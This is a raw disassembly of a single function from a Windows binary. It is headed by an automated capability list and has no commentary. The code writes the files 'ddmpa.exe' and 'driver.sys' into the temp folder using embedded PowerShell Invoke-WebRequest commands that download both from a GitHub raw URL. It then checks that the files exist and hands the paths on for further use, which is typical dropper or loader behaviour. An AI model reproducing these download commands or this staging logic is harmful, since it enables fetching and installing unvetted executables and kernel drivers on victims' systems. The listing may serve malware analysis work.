Function at 0x140042f00
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x430
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14015ff00]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor r12d, r12d
lea rdx, [rbp + 0x100]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x60]
call fcn.1400485e0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140042fa8
lea rsi, [rcx + 9]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140042f8b
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.ddmpa.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r12w
jmp 0x140042fce
mov qword [rsp + 0x20], 9
lea r9, str.ddmpa.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 9
mov rcx, rbx
call fcn.14004c280
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 7
mov word [rbx], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14004304b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043046
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043046
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm6, xmmword [0x140148c80]
movdqu xmmword [rbp - 0x50], xmm6
mov word [rbp - 0x60], r12w
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x40]
call fcn.1400485e0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x1400430b5
lea rsi, [rcx + 0xa]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140043098
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.driver.sys
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r12w
jmp 0x1400430db
mov qword [rsp + 0x20], 0xa
lea r9, str.driver.sys
movzx r8d, byte [rsp + 0x30]
mov edx, 0xa
mov rcx, rbx
call fcn.14004c280
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 7
mov word [rbx], r12w
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14004314c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043147
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043147
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp - 0x30], xmm6
mov word [rbp - 0x40], r12w
lea r8, [rbp + 0x80]
lea rdx, str.powershell__Command__Invoke_WebRequest__Uri_https:__github.com_YOSANTAHAHA812S_67u8967oyudf34_raw_main_ddmpa.exe__OutFile_
lea rcx, [rbp - 0x20]
call fcn.14004b920
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 2
jb 0x1400431a6
lea r8, [rdx + 2]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140043198
mov rax, qword [rcx]
mov dword [rax + rdx*2], 0x220027
mov word [rax + r8*2], r12w
jmp 0x1400431c9
mov qword [rsp + 0x20], 2
lea r9, [0x1401469a0]
movzx r8d, byte [rsp + 0x30]
mov edx, 2
call fcn.14004c280
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 7
mov word [rcx], r12w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140043246
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043241
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp - 0x10], xmm6
mov word [rbp - 0x20], r12w
lea r8, [rbp + 0x60]
lea rdx, str.powershell__Command__Invoke_WebRequest__Uri_https:__github.com_YOSANTAHAHA812S_67u8967oyudf34_raw_main_driver.sys__OutFile_
lea rcx, [rbp]
call fcn.14004b920
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 2
jb 0x14004329d
lea r8, [rdx + 2]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x14004328f
mov rax, qword [rcx]
mov dword [rax + rdx*2], 0x220027
mov word [rax + r8*2], r12w
jmp 0x1400432c0
mov qword [rsp + 0x20], 2
lea r9, [0x1401469a0]
movzx r8d, byte [rsp + 0x30]
mov edx, 2
call fcn.14004c280
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 7
mov word [rcx], r12w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x14004333d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043338
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043338
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp + 0x10], xmm6
mov word [rbp], r12w
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
lea r8, [rdx + rax*2]
lea rdx, [rbp + 0xc0]
cmova rdx, qword [rbp + 0xc0]
lea r9, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14004baa0
nop
mov rcx, rax
call fcn.140042a80
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400433d1
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400433cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400433cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 7
cmova rdx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
lea r8, [rdx + rax*2]
lea rdx, [rbp + 0xa0]
cmova rdx, qword [rbp + 0xa0]
lea r9, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14004baa0
nop
mov rcx, rax
call fcn.140042a80
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14004345b
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043456
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043456
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004388b
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004388b
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rdx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x70]
lea r8, [rdx + rax*2]
lea rdx, [rbp + 0x60]
cmova rdx, qword [rbp + 0x60]
lea r9, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14004baa0
mov r15, rax
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
lea r8, [rdx + rcx*2]
lea rdx, [rbp + 0x80]
cmova rdx, qword [rbp + 0x80]
lea r9, [rsp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.14004baa0
mov r14, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400435a1
lea r8, [rcx + 1]
mov qword [r14 + 0x10], r8
mov rbx, r14
cmp rdx, 0xf
jbe 0x140043539
mov rbx, qword [r14]
lea rax, [0x140146bb1]
lea rsi, [0x140146bb0]
cmp rax, rbx
jbe 0x140043567
lea rax, [rbx + rcx]
cmp rsi, rax
ja 0x140043567
cmp rbx, rsi
ja 0x14004355f
mov rdi, r12
jmp 0x14004356c
mov rdi, rbx
sub rdi, rsi
jmp 0x14004356c
mov edi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 1
sub r8, rdi
lea rdx, [rsi + 1]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400435cf
mov qword [rsp + 0x28], 1
lea rsi, [0x140146bb0]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov edx, 1
mov rcx, r14
call fcn.1400536d0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov qword [r14 + 0x10], r12
mov byte [r14], 0
mov r8d, 3
lea rdx, [0x140146bb4]
lea rcx, [rsp + 0x58]
call fcn.14004a330
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r12
mov byte [rax], 0
mov r9, r15
lea r8, [rbp + 0x20]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.14004e3f0
nop
mov r8d, 1
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.14004a330
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400436d7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400436d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400436d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14004372e
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043721
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043721
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140043776
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043769
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400437c7
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400437ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400437ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140043818
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004380b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004380b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
lea rcx, [rbp + 0xe0]
call fcn.140042a80
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140043874
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004386f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004386f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqa xmm0, xmmword [0x140148c90]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x1400438d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400438cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400438cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp + 0xb0], xmm6
mov word [rbp + 0xa0], r12w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x14004392d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043928
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp + 0xd0], xmm6
mov word [rbp + 0xc0], r12w
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140043980
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004397b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004397b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
movdqu xmmword [rbp + 0x70], xmm6
mov word [rbp + 0x60], r12w
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x1400439d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400439ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400439ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fd8a0
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.1400fd510
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret